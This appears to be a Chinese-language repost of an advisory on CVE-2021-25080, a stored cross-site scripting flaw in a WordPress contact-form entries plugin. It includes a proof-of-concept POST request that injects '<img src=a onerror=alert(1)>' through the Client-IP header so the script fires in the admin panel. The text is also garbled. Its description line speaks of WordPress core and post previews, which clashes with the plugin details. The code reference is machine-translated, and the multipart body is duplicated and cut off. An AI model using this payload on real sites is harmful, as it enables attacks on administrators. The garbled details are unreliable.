WordPress CRM 表单条目跨站点脚本

2022-01-05 10:16:33 浏览数 (1)

CVE-2021-25080

参考:

https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac

https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/

描述:

5.2.3 之前的 WordPress 允许经过身份验证的用户在帖子预览中使用 XSS。

技术细节和利用:

CRM 表单条目 CRM 容易受到客户端 IP 字段中存储的 XSS 的攻击。

当用户上传新表单时,CRM Form Entries 会检查客户端 IP 为了保存有关用户的信息:

代码语言:javascript复制
公共函数 get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php,第 1388 行 

用户可以设置任意的“HTTP_CLIENT_IP”值,该值是 存储在数据库中。

假设你有一个Contact Form,拦截POST请求并插入

代码语言:javascript复制
POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback
HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>

------WebKitFormBoundaryCuNGXLnhRsdglEAx

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...

请求被接受,代码导航 $_SERVER['HTTP_CLIENT_IP'] 部分,ip 被注入并保存在数据库中。 当管理员点击插件中的 entry 元素时, 就会触发XSS 。

解决方案:

升级到 1.1.7 版

0 人点赞